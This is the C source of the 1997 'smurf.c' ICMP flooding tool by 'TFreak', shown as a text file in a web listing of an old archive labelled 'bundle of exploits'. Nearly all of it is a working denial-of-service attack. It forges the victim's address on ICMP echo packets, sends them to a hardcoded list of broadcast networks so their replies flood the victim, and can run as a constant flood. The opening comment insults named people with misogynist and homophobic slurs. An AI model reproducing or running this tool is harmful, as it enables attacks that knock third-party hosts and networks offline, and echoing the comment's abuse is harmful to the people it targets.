home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / smurf.c < prev    next >
Text File  |  1998-07-17  |  6KB  |  209 lines

  1.  
  2. /*
  3.  *
  4.  *  smurf.c by TFreak [21:52 - 07/28/97]
  5.  *
  6.  *  spoofs icmp packets from a host to various broadcast addresses resulting
  7.  *  in multiple replies to that host from a single packet.  
  8.  *
  9.  *  mad head to:  
  10.  *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
  11.  *     MissSatan for swallowing, napster for pimping my sister, the guy that
  12.  *     invented vaseline, fyber for trying, knowy, old school #havok, kain 
  13.  *     cos he rox my sox, zuez, toxik, robocod, Bug_Lord, and everyone else
  14.  *     that i might have missed (you know who you are).
  15.  * 
  16.  *  mad anal to:
  17.  *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
  18.  *     because they plain suck, Rolex for being a twit, everyone that
  19.  *     trades warez, Caren for being a lesbian hoe, AcidKill for being her
  20.  *     partner, #cha0s, sedriss for having an ego in inverse proportion to
  21.  *     the size of his penis, and anyone that can't pee standing up. 
  22.  *
  23.  *  disclaimer:
  24.  *     I cannot and will not be held responsible nor legally bound for the
  25.  *     malicious activities of individuals who come into possession of this
  26.  *     program and refuse to provide help or support of any kind and do NOT
  27.  *     condone use of this program to deny service to anyone or any machine.
  28.  *     This is for educational use only. Please Don't abuse this.
  29.  *
  30.  */   
  31.  
  32. #include <signal.h>
  33. #include <stdio.h>
  34. #include <stdlib.h>
  35. #include <sys/socket.h>
  36. #include <sys/types.h>
  37. #include <netinet/in.h>
  38. #include <netinet/ip.h>
  39. #include <netinet/ip_icmp.h>
  40. #include <netdb.h>
  41.  
  42. void banner(void);
  43. void usage(char *);
  44. void smurf(int, struct sockaddr_in, u_long, int);
  45. void ctrlc(int);
  46. unsigned short in_chksum(u_short *, int);
  47.  
  48. void main (int argc, char *argv[])  
  49. {
  50.    struct sockaddr_in sin;
  51.    struct hostent *he;
  52.    int i, sock, delay, num, pktsize, bcast = 1, cycle = 10;
  53.  
  54.    /* add your own broadcast ips, just make sure to end with NULL */
  55.    char *bcastaddr[] = {
  56.       "199.171.190.0",   "165.154.1.255",   "205.139.4.255",
  57.       "198.3.101.255",   "204.71.177.0",    "192.41.177.255",
  58.       "206.13.28.255",   "144.228.20.255",  "206.137.184.255",
  59.       "198.32.186.255",  "130.63.236.255",  "208.202.14.255",
  60.       "208.131.162.255", "199.171.6.255",   "207.124.104.255",
  61.       "205.180.58.255",  "198.3.98.0",      "131.104.96.255",
  62.       "143.43.32.0",      "131.215.48.0",    "204.117.214.0",
  63.       "143.43.32.255",
  64.       "130.235.20.255",  "206.79.254.255",  "199.222.42.255",
  65.       "204.71.242.255",  "204.162.80.0",    "128.194.103.255",
  66.       "207.221.53.255",  "207.126.113.255", "198.53.145.255",
  67.       "209.25.21.255",   "194.51.83.255",   "207.51.48.255",
  68.       "129.130.12.255",  "192.231.221.255", "168.17.197.255",
  69.       "198.242.55.255",  "130.160.224.255", "128.83.40.255",
  70.       "131.215.48.255",  "169.130.10.255",  "207.20.7.255",
  71.       "163.179.1.0",     "129.16.1.0",      "128.122.27.255",
  72.       "132.236.230.255", "198.32.146.255",  "192.41.177.0",
  73.        NULL
  74.    };
  75.  
  76.    banner();
  77.    signal(SIGINT, ctrlc);
  78.  
  79.    if (argc < 6) usage(argv[0]);
  80.  
  81.    if ((he = gethostbyname(argv[1])) == NULL) {
  82.       perror("resolving source host");
  83.       exit(-1);
  84.    }
  85.    memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
  86.    sin.sin_family = AF_INET;
  87.    sin.sin_port = htons(0); 
  88.  
  89.    num = atoi(argv[3]);
  90.    delay = atoi(argv[4]);
  91.    pktsize = atoi(argv[5]);
  92.  
  93.    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  94.       perror("getting socket");
  95.       exit(-1);
  96.    }
  97.    setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));
  98.   
  99.    printf("Flooding %s (. = 25 outgoing packets)\n",
  100.           argv[1]);  
  101.  
  102.    for (i = 0; i < num || !num; i++) {
  103.       if (!(i % 25)) { printf("."); fflush(stdout); }
  104.       if (atoi(argv[2]) == 0) {
  105.          smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
  106.          cycle++;
  107.          if (bcastaddr[cycle] == NULL) cycle = 0;
  108.       } else 
  109.          smurf(sock, sin, inet_addr(argv[2]), pktsize);
  110.       usleep(delay);
  111.    }
  112.    puts("\n\n");
  113. }
  114.  
  115. /*
  116.  *  my banner, thanks to nyt for the ansi codes. *smootch*
  117.  */
  118. void banner (void)
  119. {
  120.    puts("");
  121.    puts("smurf.c by TFreak");
  122.    puts("");
  123. }
  124.  
  125. /*
  126.  *  duh.
  127.  */
  128. void usage (char *prog)
  129. {
  130.    fprintf(stderr, "usage: %s <source> <bcast addr> "
  131.                    "<num packets> <packet delay> <packet size>\n", prog); 
  132.    fprintf(stderr, "bcast address of 0 uses hardcoded "
  133.                    "addresses, num packets of 0 constant flood\n");
  134.    puts("");
  135.    exit(-1);
  136. }
  137.  
  138. /*
  139.  *  the routine that builds/sends the packet -- the guts of the program
  140.  */
  141. void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
  142. {
  143.    struct iphdr *ip;
  144.    struct icmphdr *icmp;
  145.    char *packet;
  146.  
  147.    packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  148.    ip = (struct iphdr *)packet;
  149.    icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
  150.  
  151.    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  152.  
  153.    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  154.    ip->ihl = 5;
  155.    ip->version = 4;
  156.    ip->ttl = 255;
  157.    ip->tos = 0;
  158.    ip->frag_off = 0;
  159.    ip->protocol = IPPROTO_ICMP;
  160.    ip->saddr = sin.sin_addr.s_addr;
  161.    ip->daddr = dest;
  162.    ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
  163.  
  164.    icmp->type = 8;
  165.    icmp->code = 0;
  166.    icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
  167.  
  168.    sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 
  169.           0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); 
  170.  
  171.    free(packet);     /* free willy! */
  172. }
  173.  
  174. /*
  175.  *  if SIGINT received, end nicely.
  176.  *
  177.  *  int ignored isnt used of course, thanks to robocod for pointing this out
  178.  */
  179. void ctrlc (int ignored)
  180. {
  181.    puts("\nDone!\n");
  182.    exit(1);
  183. }
  184.  
  185. /* 
  186.  *  calculate the checksum (stolen from ping.c with a small, unimportant mod
  187.  */
  188. unsigned short in_chksum (u_short *addr, int len)
  189. {
  190.    register int nleft = len;
  191.    register int sum = 0;
  192.    u_short answer = 0;
  193.  
  194.    while (nleft > 1) {
  195.       sum += *addr++;
  196.       nleft -= 2;
  197.    }
  198.  
  199.    if (nleft == 1) {
  200.       *(u_char *)(&answer) = *(u_char *)addr;
  201.       sum += answer;
  202.    }
  203.  
  204.    sum = (sum >> 16) + (sum + 0xffff);
  205.    sum += (sum >> 16);
  206.    answer = ~sum;
  207.    return(answer);
  208. }
  209.